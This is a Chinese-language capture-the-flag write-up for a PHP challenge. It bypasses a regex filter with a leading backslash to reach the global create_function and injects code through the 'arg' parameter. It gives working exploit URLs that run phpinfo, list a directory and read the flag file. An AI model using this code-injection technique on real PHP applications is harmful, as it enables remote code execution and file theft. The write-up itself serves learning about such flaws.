題目地址:http://120.78.164.84:49001/
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
我們來審計下這個代碼:
1,看到 $action('',$arg) 這裏有兩個參數,可以想到create_function()匿名函數代碼注入。
2,這裏還有一個正則需要繞過,不過這個正則很容易知道只要我們在開頭或者結尾加入其他字符就可以繞過了。至於是什麼字符,用bp來fuzz一波就可以知道是%5c。
http://120.78.164.84:49001/?action=%5ccreate_function&arg=2;}phpinfo();/*
3,實際上不用%5c,加一個 \ 也能執行,這裏涉及到了php的全局命名空間,\create_function就是調用全局的create_function函數。
https://blog.csdn.net/dyw_666666/article/details/90042852
看一下手冊中的例子就大概知道是什麼意思了。
http://120.78.164.84:49001/?action=\create_function&arg=2;}phpinfo();/*
最終Payload:
http://120.78.164.84:49001/?action=\create_function&arg=2;}print_r(scandir(%27../%27));/*
http://120.78.164.84:49001/?action=\create_function&arg=2;}print_r(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/*